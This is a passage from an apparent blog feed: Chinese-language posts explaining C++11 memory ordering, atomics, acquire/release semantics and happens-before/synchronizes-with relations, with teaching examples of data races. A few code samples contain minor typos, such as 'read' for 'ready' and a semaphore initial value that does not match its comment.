而且，volatile不提供原子性！并发的读写volatile变量是会产生数据竞争的，同时non volatile操作可以在volatile操作附近自由地reorder。看一个例子，执行下面的并发程序，不出意外的话，你不会得到一个为0的结果。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;thread&amp;gt;
#include &amp;lt;iostream&amp;gt;

volatile int count = 0;

void increase() {
    for (int i = 0; i &amp;lt; 1000000; i++) {
        count++;
    }
}

void decrease() {
    for (int i = 0; i &amp;lt; 1000000; i++) {
        count--;
    }
}

int main() {
    std::thread t1(increase);
    std::thread t2(decrease);
    t1.join();
    t2.join();
    std::cout &amp;lt;&amp;lt; count &amp;lt;&amp;lt; std::endl;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;si-chong-tong-bu-fu-jia-guan-yu-x86&quot;&gt;四种同步(附加关于x86)&lt;&#x2F;h1&gt;
&lt;p&gt;虽然是六种类型，但是理解了四种同步的情形基本就差不多了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-relaxed-ordering&quot;&gt;1. Relaxed ordering:&lt;&#x2F;h2&gt;
&lt;p&gt;在单个线程内，所有原子操作是顺序进行的。按照什么顺序？基本上就是代码顺序（sequenced-before）。这就是唯一的限制了！两个来自不同线程的原子操作是什么顺序？两个字：任意。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-release-acquire&quot;&gt;2. Release -- acquire:&lt;&#x2F;h2&gt;
&lt;p&gt;来自不同线程的两个原子操作顺序不一定？那怎么能限制一下它们的顺序？这就需要两个线程进行一下同步（synchronize-with）。同步什么呢？同步对一个变量的读写操作。
线程 A 原子性地把值写入 x (release), 然后线程 B 原子性地读取 x 的值（acquire）. 这样线程 B 保证读取到 x 的最新值。
注意 release -- acquire 有个牛逼的副作用：线程 A 中所有发生在 release x 之前的写操作，对在线程 B acquire x 之后的任何读操作都可见！
本来 A, B 间读写操作顺序不定。这么一同步，在 x 这个点前后， A, B 线程之间有了个顺序关系，称作 inter-thread happens-before.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-release-consume&quot;&gt;3. Release -- consume:&lt;&#x2F;h2&gt;
&lt;p&gt;我去，我只想同步一个 x 的读写操作，结果把 release 之前的写操作都顺带同步了？如果我想避免这个额外开销怎么办？用 release -- consume 呗。
同步还是一样的同步，这回副作用弱了点：在线程 B acquire x 之后的读操作中，有一些是依赖于 x 的值的读操作。 管这些依赖于 x 的读操作叫 赖B读.
同理在线程 A 里面, release x 也有一些它所依赖的其他写操作，这些写操作自然发生在 release x 之前了。管这些写操作叫 赖A写.
现在这个副作用就是，只有 赖B读 能看见 赖A写. （卧槽真累）有人问了，说什么叫数据依赖（carries dependency）？其实这玩意儿巨简单：S1. c = a + b;
S2. e = c + d;S2 数据依赖于 S1，因为它需要 c 的值。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-sequential-consistency&quot;&gt;4. Sequential consistency:&lt;&#x2F;h2&gt;
&lt;p&gt;理解了前面的几个，顺序一致性就最好理解了。Release -- acquire 就同步一个 x， 顺序一致就是对所有的变量的所有原子操作都同步。
这么一来，我擦，所有的原子操作就跟由一个线程顺序执行似的。&lt;&#x2F;p&gt;
&lt;p&gt;评论里有很多关于x86内存模型的指正，放在这里：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Loads are not reordered with other loads.Stores are not reordered with other stores.Stores are not reordered with older loads.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;然后最重要的：Loads may be reordered with older stores to different locations.
因为 store-load 可以被重排，所以x86不是顺序一致。但是因为其他三种读写顺序不能被重排，
所以x86是 acquire&#x2F;release 语义。
aquire语义：load 之后的读写操作无法被重排至 load 之前。即 load-load, load-store 不能被重排。
release语义：store 之前的读写操作无法被重排至 store 之后。即 load-store, store-store 不能被重排。
最简单的试试 relaxed ordering 的方法就是拿出手机。
写个小程序，故意留个 race condition，然后放到 iPhone 或者安卓手机上调，不用 release -- acquire 保准出错。&lt;&#x2F;p&gt;
&lt;p&gt;然而这种 bug 你在 x86 的 host 机上是调不出来的，即便拿模拟器也调不出来。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qi-ta&quot;&gt;其他&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&#x2F;memory_order#Relaxed_ordering
https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>C++ 内存顺序 (Memory Order)</title>
        <published>2022-06-01T14:17:36+08:00</published>
        <updated>2022-06-01T14:17:36+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cpp-memory-order/"/>
        <id>https://vercel.juzhong.asia/2022/06/cpp-memory-order/</id>
        
        <summary type="html">&lt;p&gt;内存顺序问题有两个来源：编译器优化可能改变代码中读写指令的顺序；CPU 在运行时也可能重排指令（如 Tomasulo 算法）。单线程或使用 Mutex&#x2F;Semaphore 时，编译器和 CPU 保证语义一致，开发者无需关心内存顺序；但当使用原子操作进行无锁编程时，内存模型的抽象被打破，开发者必须显式规约。&lt;&#x2F;p&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>内存顺序(Memory Order)</title>
        <published>2022-06-01T14:17:36+08:00</published>
        <updated>2022-06-01T14:17:36+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/内存顺序-Memory-Order/"/>
        <id>https://vercel.juzhong.asia/2022/06/内存顺序-Memory-Order/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/内存顺序-Memory-Order/">&lt;h1 id=&quot;nei-cun-shun-xu-memory-order&quot;&gt;内存顺序(Memory Order)&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;nei-cun-shun-xu&quot;&gt;内存顺序&lt;&#x2F;h1&gt;
&lt;p&gt;内存顺序，通俗地讲，是关于代码编译成机器指令后的执行顺序问题。内存顺序和编译器、硬件架构密切相关。那为什么会产生内存顺序问题呢？有两方面原因： 一方面，编译器为了优化程序性能，不会完全按照开发者写的代码的顺序来生成机器指令； 另一方面，在程序运行时，为了提高性能，CPU也不完全按照程序的指令顺序执行，比如体系结构里经典的Tomasulo算法。&lt;&#x2F;p&gt;
&lt;p&gt;对于大部分开发者而言，在写单线程程序，或者基于锁（Mutex）和信号量（Semaphore）之类编程框架提供的同步元语写多线程程序的时候，并不需要关心内存顺序的问题。 这是因为编译器和硬件架构保证了，虽然指令执行顺序可能跟开发者写的代码语句的顺序不一致，但是执行后的结果是一样的，即语义一致。 换句话讲，编译器和硬件架构提供了一层抽象用以屏蔽内存顺序问题，保证代码和编译出来的程序执行语义一致。 这样一方面提高程序性能，另一方面让开发者不用关心底层细节。编译器和硬件架构提供的这一层抽象叫作内存模型（Memory Model）。&lt;&#x2F;p&gt;
&lt;p&gt;编译器和硬件架构提供了内存模型这一层抽象用以屏蔽内存顺序问题。 对于大部分开发者而言，写单线程程序，或基于编程框架提供的同步元语写多线程程序的时候，内存模型抽象成立，无需考虑内存顺序问题； 当开发者写多线程程序，对于多线程并发访问（或读或写）共享数据，使用原子操作，而不是基于锁互斥访问数据，即无锁化编程的时候， 这时内存模型的抽象被打破，开发者必须考虑内存顺序问题。&lt;&#x2F;p&gt;
&lt;p&gt;内存顺序问题涉及编译器和硬件架构的很多细节，这里尝试用对于大部分开发者来说浅显易懂的语言来描述内存顺序问题， 尽可能避免编译器和硬件架构的实现细节，以便于大家理解。 下面依次介绍内存模型、内存顺序、原子操作，最后以C++11为例讲解开发者如何规约内存顺序。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;nei-cun-mo-xing&quot;&gt;内存模型&lt;&#x2F;h1&gt;
&lt;p&gt;内存模型是编程语言对程序运行时内存访问模式的抽象，即内存被多个程序（进程和线程）共享，程序对内存的访问是无法预知的。 通俗地讲，内存模型指的是CPU并发随机访问内存，或从内存加载数据（Load）或把数据写入到内存（Store）。 Load和Store是机器指令（或汇编语言）的术语，其实就是读（Read）操作和写（Write）操作。 这里，内存模型屏蔽了很多硬件的细节，比如CPU的寄存器、缓存等等（因为寄存器和缓存属于程序执行上下文，CPU访问寄存器和缓存不存在并发）。 内存模型比较好理解，每个开发者或多或少都接触到内存模型。 有了内存模型这一层抽象，那么内存顺序问题可以等价于读操作和写操作的执行顺序问题，因为内存模型里CPU对内存的访问只有读和写两种操作。&lt;&#x2F;p&gt;
&lt;p&gt;开发者在写代码时，代码语句的先后顺序往往约定了对内存访问的先后顺序的，即使访问的不是同一个内存地址。但是这个约定是基于内存模型这层抽象成立的前提。 前面提到，内存模型在单线程编程和基于编程框架提供的同步元语实现多线程编程的情况下，对内存顺序问题进行屏蔽，怎么理解呢？&lt;&#x2F;p&gt;
&lt;p&gt;下面通过例子说明单线程程序的内存顺序问题：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int x, y = 0;
x = y + 1;
y = 2;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码定义了两个整数，x和y，并对y初始化赋值为0，然后给x赋值的时候用到y的值，之后再给y赋值。 看上去，对y的写操作必须在对x的写操作之后，但是改写上述代码片段如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int x, y = 0;
int tmp;
tmp = y;
y = 2;
x = tmp + 1;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;增加了变量tmp之后，首先把y的值付给tmp，然后就可以先对y赋新值，再给x赋值。对x和y来说，上面两段程序的执行结果是等价的。 变量tmp在这里可以理解为是CPU的寄存器，有了寄存器的帮助，代码里的读操作和写操作先后顺序可能被改变。 通俗地讲，编译器对代码语句的顺序调整也是类似的原理 （仅供对编译器不熟的读者理解编译器如何对代码语句顺序的调整，实际编译器对代码的优化很复杂，细节暂不展开）。&lt;&#x2F;p&gt;
&lt;p&gt;上述例子说明了，单线程情况下，内存模型的抽象成立，开发者无需考虑内存顺序问题。 再考虑多线程的情况，把对x的写操作和对y的写操作放在不同的线程里：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int x, y = 0;

void thread_func1() {
    x = y + 1;
}

void thread_func2() {
    y = 2;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出，x会有多种结果，取决于程序运行时两个线程的执行顺序，这就跟之前单线程的执行结果不一致了。 因为这里没有采用编程框架提供的同步元语来实现线程间同步，内存模型的抽象被打破，编译器和硬件架构无法保证语义一致。 此时，开发者要么采用编程框架提供的同步元语实现线程间同步以满足内存模型的抽象，要么显式规约指令执行顺序以保证结果正确。 改写上面的例子，可以采用编程框架提供的同步元语，规约程序运行时线程的执行顺序，这里使用信号量来实现线程间同步：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sem_t semaphore; 
&amp;#x2F;&amp;#x2F; 初始化信号量，初始值为0，最大值为1
sem_init(&amp;amp;semaphore, 0, 1); 

int x, y = 0;

void thread_func1() {
    x = y + 1;
    sem_post(&amp;amp;semaphore); 
}

void thread_func2() {
    sem_wait(&amp;amp;semaphore);
    y = 2;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出，使用信号量规约了两个线程在程序运行时的执行顺序，线程函数thread_func2要等待线程函数thread_func1对x完成赋值后才能对y赋值。 上述例子中，采用信号量之后，内存模型的抽象成立，多线程情况下的执行结果和单线程情况下一样，即语义一致。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;nei-cun-shun-xu-1&quot;&gt;内存顺序&lt;&#x2F;h1&gt;
&lt;p&gt;从上面对内存模型的介绍可以看出，内存顺序，通俗地讲，就是规约编译器和硬件架构对读写操作的执行顺序。 当内存模型抽象成立时，内存模型对内存顺序做出规约，从而对开发者屏蔽内存顺序问题；当内存模型不成立时，开发者就需要显式规约内存顺序。&lt;&#x2F;p&gt;
&lt;p&gt;前述讲内存模型用到的例子展示了对两个写操作的内存顺序问题。推而广之，内存顺序包含四种情况：&lt;&#x2F;p&gt;
&lt;p&gt;|读操作在先 | 读读 | 读写|
|写操作在先 | 写读 | 写写|&lt;&#x2F;p&gt;
&lt;p&gt;即，读操作与读操作、读操作与写操作、写操作与读操作、写操作与写操作，四种情况下的指令执行顺序问题（不论是否读写同一个内存地址）。 开发者可以要求编译器和硬件架构在上述四种情况下分别做出规约，即：&lt;&#x2F;p&gt;
&lt;p&gt;读读，读操作之后的读操作，之间的顺序不能改变；
读写，读操作之后的写操作，之间的顺序不能改变；
写读，写操作之后的读操作，之间的顺序不能改变；
写写，写操作之后的写操作，之间的顺序不能改变。
也可以换一种表达：&lt;&#x2F;p&gt;
&lt;p&gt;读读，读操作之前的读操作，之间的顺序不能改变；
读写，写操作之前的读操作，之间的顺序不能改变；
写读，读操作之前的写操作，之间的顺序不能改变；
写写，写操作之前的写操作，之间的顺序不能改变。
换一种表达是为了方便后面理解C++原子操作的内存顺序。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yuan-zi-cao-zuo&quot;&gt;原子操作&lt;&#x2F;h1&gt;
&lt;p&gt;原子操作要么执行成功，要么尚未开始执行，不存在中间状态。 原子操作是要靠底层硬件架构来实现，只有硬件架构的某些指令才能保证原子操作，比如Compare and Swap（CAS）指令。 编程语言基于硬件架构的原子操作指令封装了一些原子类型以及原子操作（函数调用），以方便开发者使用。 如前所述，当内存模型抽象成立的时候，开发者无需考虑内存顺序问题； 当开发者使用原子操作的时候，内存模型的抽象被打破，此时开发者必须显式规约原子操作的内存顺序。&lt;&#x2F;p&gt;
&lt;p&gt;另外，当CPU读写地址对齐的内存数据的时候，有可能是原子操作。 比如32位CPU，访问一个32位整数，如果这个整数的地址是4的倍数，即内存地址对齐，那么访问操作就是原子的， 即CPU执行一条指令（在一个指令周期内）读取或写入这个整数； 但是如果这个整数的地址不是4的倍数，那CPU还是要两次访问（执行两条指令）才能读取或写入这个整数，在这两次访问中间CPU有可能被其他程序抢占。 由于在编程的时候不能假设数据的内存地址一定是4的倍数，所以开发者要默认每一条代码语句都不是原子操作，除非明确使用原子操作。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;c-de-nei-cun-shun-xu&quot;&gt;C++的内存顺序&lt;&#x2F;h1&gt;
&lt;p&gt;下面以C++语言为例，介绍开发者如何显式对原子操作的内存顺序做出规约，即要求编译器和硬件架构保证按照期望的顺序来执行原子操作指令。&lt;&#x2F;p&gt;
&lt;p&gt;C++11提供了Atomic泛型，用于封装原子类型和原子操作。C++还定义了atomic_int、atomic_long、atomic_bool等类型，方便开发者直接使用。 下面的代码片段给出了Atomic泛型的定义，以及三个Atomic泛型的方法（为了便于读者理解，方法的定义略有删节）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class T&amp;gt; struct atomic;
...
T load (memory_order sync) const noexcept;
void store (T val, memory_order sync) noexcept;
bool compare_exchange_strong (T&amp;amp; expected, T val,
        memory_order sync) noexcept;
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面Atomic泛型的方法里有个输入参数sync的类型memory_order，用于规约Atomic泛型方法的内存顺序。 memory_order在C++11里定义为枚举类型，共有六个值，是C++11定义的内存顺序类型，可供开发者使用：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;typedef enum memory_order {
    memory_order_relaxed,
    memory_order_consume,
    memory_order_acquire,
    memory_order_release,
    memory_order_acq_rel,
    memory_order_seq_cst
} memory_order;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;限于篇幅，这里只介绍memory_order_acquire（简称Acquire）和memory_order_release（简称Release）这两种内存顺序，后续再介绍C++的其他内存顺序。 下表给出了Acquire和Release的语义：&lt;&#x2F;p&gt;
&lt;p&gt;|内存顺序|  先后次序 | 语义 |
|Acquire | 读操作在前|  读读、读写 |
|Release | 写操作在后|  读写、写写 |&lt;&#x2F;p&gt;
&lt;p&gt;即，Acquire要求，针对某个读操作，该读操作之后的读操作或写操作，这两种情况下的指令顺序不能改变； Release要求，针对某个写操作，该写操作之前的读操作或写操作，这两种情况下的执行顺序不能改变。、 可以看出，Acquire和Release涉及四种内存顺序中的三种情况，读读、读写和写写，不涉及写读这种情况。&lt;&#x2F;p&gt;
&lt;p&gt;采用原子操作和Acquire和Release语义改写之前介绍内存模型用到的例子：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;atomic&amp;gt;
#include &amp;lt;iostream&amp;gt; 
#include &amp;lt;vector&amp;gt;

std::atomic_int indicator (0); &amp;#x2F;&amp;#x2F; 初始值为零
int x, y = 0;

void thread_func1() {
    x = y + 1;

    &amp;#x2F;&amp;#x2F; 通知thread_func2
    indicator.store(1, &amp;#x2F;&amp;#x2F; 写操作
            std::memory_order_release); 
}
void thread_func2() {
    int ready = indicator.load( &amp;#x2F;&amp;#x2F; 读操作
            std::memory_order_acquire);

    &amp;#x2F;&amp;#x2F; 等待thread_func1
    if (read &amp;gt; 0) {
        y = 2;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述代码定义了一个原子整数变量indicator， 线程函数thread_func1在对x赋值完成之后，用indicator通知线程函数thread_func2。 特别要注意两个原子操作indicator.store()和indicator.load()的内存顺序， 为什么indicator.store()用Release语义，而indicator.load()用Acquire语义呢？&lt;&#x2F;p&gt;
&lt;p&gt;先考虑indicator.store()的Release语义。 线程函数thread_func1先对x赋值，然后调用indicator.store()把indicator的值改为1， indicator.store()的执行顺序不允许改变，绝不能是先调用indicator.store()再给x赋值。 也就是说，对indicator的写操作indicator.store()之前的操作（对x赋值），必须保证在indicator.store()之前执行，符合Release的语义。&lt;&#x2F;p&gt;
&lt;p&gt;再看indicator.load()的Acquire语义。 线程函数thread_func2先是调用indicator.load()读取indicator的值，检查是否不等于零，如果不为零，则对y赋值， indicator.load()的执行顺序不允许改变，绝不能是先对y赋值，再读取indicator的值。 也就是说，对indicator的读操作indicator.load()之后的操作（对y赋值），必须保证在indicator.load()之后执行，符合Acquire的语义。&lt;&#x2F;p&gt;
&lt;p&gt;简单来说，对于原子写操作要求Release语义，对于原子读操作要求Acquire语义。 有些文章把Acquire和Release比作是对一个锁进行加锁和解锁操作，个人认为这样的比喻不是很准确。 因为，Release和Acquire这类内存顺序，跟锁和信号量的抽象层面不一样，内存顺序比锁和信号量更底层，可以用原子操作和内存顺序来实现锁和信号量。 原子操作indicator.store()和indicator.load()分别采用Release和Acquire语义，定义了两个线程间的同步通知关系（Synchronize with）， 用indicator这个原子变量来指示x是否完成赋值。这种同步通知关系不是静态规约好的，而是在程序运行时动态检查， 即x是否完成赋值并不阻塞线程函数thread_func2的执行，只是x是否完成赋值会影响线程函数thread_func2的执行结果， 有可能x尚未完成赋值但线程函数thread_func2已经执行完毕（此时线程函数thread_func2没有对y赋新值）。 如果采用锁或信号量，则x尚未完成赋值会阻塞线程函数thread_func2的执行，这样可以保证线程函数thread_func2对y赋新值。 可见，采用原子操作和内存顺序规约的线程同步通知机制，弱于锁和信号量等编程框架提供的同步元语实现的同步机制。 因此Release不是解锁操作，Acquire也不是加锁操作，这跟锁的互斥机制不一样。&lt;&#x2F;p&gt;
&lt;p&gt;当然可以改写线程函数thread_func2，使其忙等待线程函数thread_func1对x完成赋值：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void thread_func2() {
    int ready;

    &amp;#x2F;&amp;#x2F; 等待thread_func1
    do {
        ready = indicator.load( &amp;#x2F;&amp;#x2F; 读操作
                std::memory_order_acquire);
    } while (ready == 0);
        
    y = 2;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样一来，相当于是基于原子操作和内存顺序实现了一个信号量，只是这个信号量让线程函数thread_func2忙等待而不是阻塞休眠。 这种做法在Linux内核里很常见，比如某个中断响应程序采用自旋锁（Spin Lock）忙等待某个资源，而不采用锁以避免阻塞休眠， 因为中断处理程序本身如果阻塞休眠或被其他程序抢占，会导致很复杂的程序上下文切换，也可能导致死锁。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;happen-beforeguan-xi&quot;&gt;Happen-Before关系&lt;&#x2F;h1&gt;
&lt;p&gt;memory_order_acquire（Acquire）和memory_order_release（Release），这两种内存顺序是C++定义的六种内存顺序中最重要的两种， 只有理解了Acquire和Release的语义，才能更好理解其他四种内存顺序的语义。 更进一步，在实际使用场景中，Acquire和Release是最常见的两种内存顺序。&lt;&#x2F;p&gt;
&lt;p&gt;如何判断该使用哪种内存顺序？这是开发者在使用原子类型和无锁化编程时最常碰到的问题。 这里用实际的例子来说明，如何判断该使用哪种内存顺序。 此外，为了更深入理解基于原子操作和基于锁实现的同步关系的本质区别， 还会介绍Happen-Before关系和Synchronize-With关系。&lt;&#x2F;p&gt;
&lt;p&gt;线程间的同步关系，是要约定不同线程里发生的事件的先后次序，互斥关系本质也是一种同步关系。 Happen-Before关系就是用于定义不同事件之间的先后次序。 Happen-Before关系可以是在代码里静态约定好（基于锁的方式），也可以是在程序运行时动态发现（基于原子操作和内存顺序的方式）。&lt;&#x2F;p&gt;
&lt;p&gt;先来看一个简单的例子，这个例子解释了Happen-Before关系：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int data = 0;
int flag = 0;

&amp;#x2F;&amp;#x2F; thread 1
void thread_func1() {
    data = 42;
    flag = 1; &amp;#x2F;&amp;#x2F; 事件1
}

&amp;#x2F;&amp;#x2F; thread 2
void thread_func2() {
    if (flag == 1) &amp;#x2F;&amp;#x2F; 事件2
        printf(&amp;quot;%d&amp;quot;, data);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的例子里定义了两个全局变量，线程1设置flag = 1表示完成对data的赋值， 线程2读取flag的值用以判断线程1是否完成对data的赋值，如果flag == 1则输出data的值。 我们定义两个事件，事件1为thread_func1里对flag赋值表示对data的赋值完成， 事件2为thread_func2里判断flag == 1，如果flag == 1则输出data的值。&lt;&#x2F;p&gt;
&lt;p&gt;由于没有用锁的方式在代码里静态规约事件1和事件2的先后顺序，程序运行时可以有多种结果， 有些结果是合理的，有些结果是不合理的。 其中两种合理的结果是：要么线程2输出data的值42，要么不输出。 也就是说要么事件1 Happen-Before事件2，要么事件2 Happen-Before事件1。 但是，还有些不合理的结果，比如线程2有可能输出data的值为0，为什么呢？ 因为编译器或CPU会对程序进行优化，使得指令的执行顺序跟代码的逻辑顺序不一致。比如编译器可能对thread_func2进行如下优化：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; thread 2
void thread_func2() {
    int tmp = data;
    if (flag == 1)
        printf(&amp;quot;%d&amp;quot;, tmp);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里tmp代表某个寄存器，编译器优化thread_func2导致在判断flag == 1前把data的值先载入寄存器，此时data的值可能为0， 判断完flag == 1之后再输出寄存器的值，此时即便data已经被thread_func1赋值为1，但是寄存器tmp里的值仍然是0。 也就是说，程序运行时产生不合理的结果，是由于没有保证事件1和事件2之间的先后次序，导致两个事件在运行时有重叠。 因此，为了保证上面的例子运行产生合理的结果，我们需要确保要么事件1 Happen-Before事件2，要么事件2 Happen-Before事件1。 可以采用基于锁的信号量机制，在代码里静态约定事件1在事件2之前发生， 也可以采用原子操作和内存顺序在程序运行时动态发现事件1和事件2之间的关系。&lt;&#x2F;p&gt;
&lt;p&gt;这里我们先给出基于原子操作和内存顺序实现线程同步的实现。分两个步骤，先确定采用何种内存顺序，再确定采用哪种原子操作。&lt;&#x2F;p&gt;
&lt;p&gt;上面的程序产生不合理的结果，究其原因，是因为编译器和CPU对程序指令的优化，导致代码逻辑顺序和实际指令执行顺序不一致。 因此，我们要用内存顺序来告诉编译器和CPU确保指令执行顺序和代码的逻辑顺序一致。 上述例子里，thread_func1里的两行赋值语句（两个写操作）顺序不能颠倒，thread_func2里判断语句和打印语句（两个读操作）顺序不能颠倒：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int data = 0;
int flag = 0;

&amp;#x2F;&amp;#x2F; thread 1
void thread_func1() {
    data = 42;
    &amp;#x2F;&amp;#x2F; 写操作之前的写操作，之间的顺序不能改变
    flag = 1; &amp;#x2F;&amp;#x2F; 事件1
}

&amp;#x2F;&amp;#x2F; thread 2
void thread_func2() {
    if (flag == 1) &amp;#x2F;&amp;#x2F; 事件2
        &amp;#x2F;&amp;#x2F; 读操作之后的读操作，之间的顺序不能改变
        printf(&amp;quot;%d&amp;quot;, data);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出：要规约“写操作之前的写操作之间的顺序不能改变”（写写），得采用Release语义； 要规约“读操作之后的读操作，之间的顺序不能改变”（读读），得采用Acquire语义。&lt;&#x2F;p&gt;
&lt;p&gt;确定了内存顺序，我们再考虑该如何使用原子操作，确保要么事件1 Happen-Before事件2， 要么事件2 Happen-Before事件1，不能让两个事件在运行时有重叠。 一种做法，我们可以让data成为原子变量，那就不需要flag这个通知变量了，两个线程直接原子访问data。 但是实际中，往往data代表的数据会比较大，不适合作为原子变量，因此才需要flag这个通知变量。 因此，我们让flag成为原子变量，两个线程原子访问flag来实现同步，进而确保事件1和事件2之间的先后顺序：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;atomic&amp;gt;

std::atomic_int flag(0); &amp;#x2F;&amp;#x2F; 初始值为零
int data = 0;

&amp;#x2F;&amp;#x2F; thread 1
void thread_func1() {
    data = 42;
    flag.store(1, &amp;#x2F;&amp;#x2F; 事件1
            std::memory_order_release); 
}

&amp;#x2F;&amp;#x2F; thread 2
void thread_func2() {
    int ready = flag.load( &amp;#x2F;&amp;#x2F; 事件2
            std::memory_order_acquire);
    if (ready == 1)
        printf(&amp;quot;%d&amp;quot;, data);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要注意一点，上面采用原子操作和内存顺序，只能确保事件1和事件2之间先后发生，存在先后次序关系， 但是不能保证事件1一定在事件2之前发生，或者事件2一定在事件1之前发生。 两个事件谁先谁后（Happen-Before关系）需要在程序运行时才能确定。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;synchronize-withguan-xi&quot;&gt;Synchronize-With关系&lt;&#x2F;h1&gt;
&lt;p&gt;Synchronize-With关系是指，两个事件，如果事件1 Happen-Before事件2，那要把事件1同步给事件2，确保事件2得知事件1已经发生。&lt;&#x2F;p&gt;
&lt;p&gt;先来看采用信号量机制来实现前述事件1和事件2之间的同步：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sem_t flag; 
&amp;#x2F;&amp;#x2F; 初始化信号量，初始值为0，最大值为1
sem_init(&amp;amp;flag, 0, 1); 

int  = 0;

void thread_func1() {
    data = 42;
    sem_post(&amp;amp;flag); &amp;#x2F;&amp;#x2F; 事件1
}

void thread_func2() {
    sem_wait(&amp;amp;flag); &amp;#x2F;&amp;#x2F; 事件2
    printf(&amp;quot;%d&amp;quot;, data);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;采用信号量，使得这两个线程运行结果只有一种（静态规约），即只有一种Happen-Before关系，事件1 Happen-Before事件2：&lt;&#x2F;p&gt;
&lt;p&gt;不论thread_func1和thread_func2谁先开始运行，thread_func2都会等thread_func1执行完sem_post(&amp;amp;flag)之后，才输出data的值42。
显然，大家看到了基于原子操作和内存顺序，与基于信号量的实现，得到不同的结果。 这也就是我在上一篇Blog里提到的，基于原子操作和内存顺序，跟基于锁和信号量实现的线程间同步关系有本质的差异。 基于锁和信号量的线程间同步关系，比基于原子操作和内存顺序的线程间同步关系要更强。&lt;&#x2F;p&gt;
&lt;p&gt;回到之前的例子，基于信号量实现两个线程间的同步，只有一种运行结果（静态规约）， thread_func1里sem_post(&amp;amp;flag)一定在thread_func2输出data的值之前。 也就是说，信号量确保了事件1 Happen-Before事件2，同时也在运行时确保了事件1 Synchronize-With事件2 （通过thread_func1里sem_post(&amp;amp;flag)和thread_func2里sem_wait(&amp;amp;flag)来确保Synchronize-With关系）， 因而基于信号量的实现保证最终结果一定是thread_func2输出data的值42。&lt;&#x2F;p&gt;
&lt;p&gt;但是，对于上述例子，基于原子操作和内存顺序实现两个线程间的同步，会有两种运行结果（动态发现）， 要么thread_func2输出data的值42，要么thread_func2不输出data的值。 也就是说，基于原子操作和内存顺序，只能保证事件1和事件2之间存在先后次序， 即要么事件1 Happen-Before事件2，要么事件2 Happen-Before事件1。 可见，基于原子操作和内存顺序，无法保证一定只有事件1 Happen-Before事件2这一种关系。 另外，在运行时，如果事件1 Happen-Before事件2， 基于flag这个原子变量的原子操作和内存顺序的实现可以确保事件1 Synchronize-With事件2 （通过thread_func1里flag.store(1, std::memory_order_release)和thread_func2里flag.load(std::memory_order_acquire)来确保）； 如果在运行时，事件2 Happen-Before事件1， 那基于flag这个原子变量的原子操作和内存顺序的实现无法确保事件2和事件1之间有Synchronize-With关系，需要另行实现。&lt;&#x2F;p&gt;
&lt;p&gt;一句话总结，基于锁的同步机制，是在代码里静态约定不同线程里发生的事件之间的Happen-Before关系和Synchronize-With关系； 而基于原子操作和内存顺序，是在程序运行时动态发现事件之间的Happen-Before关系以及Synchronize-With关系。&lt;&#x2F;p&gt;
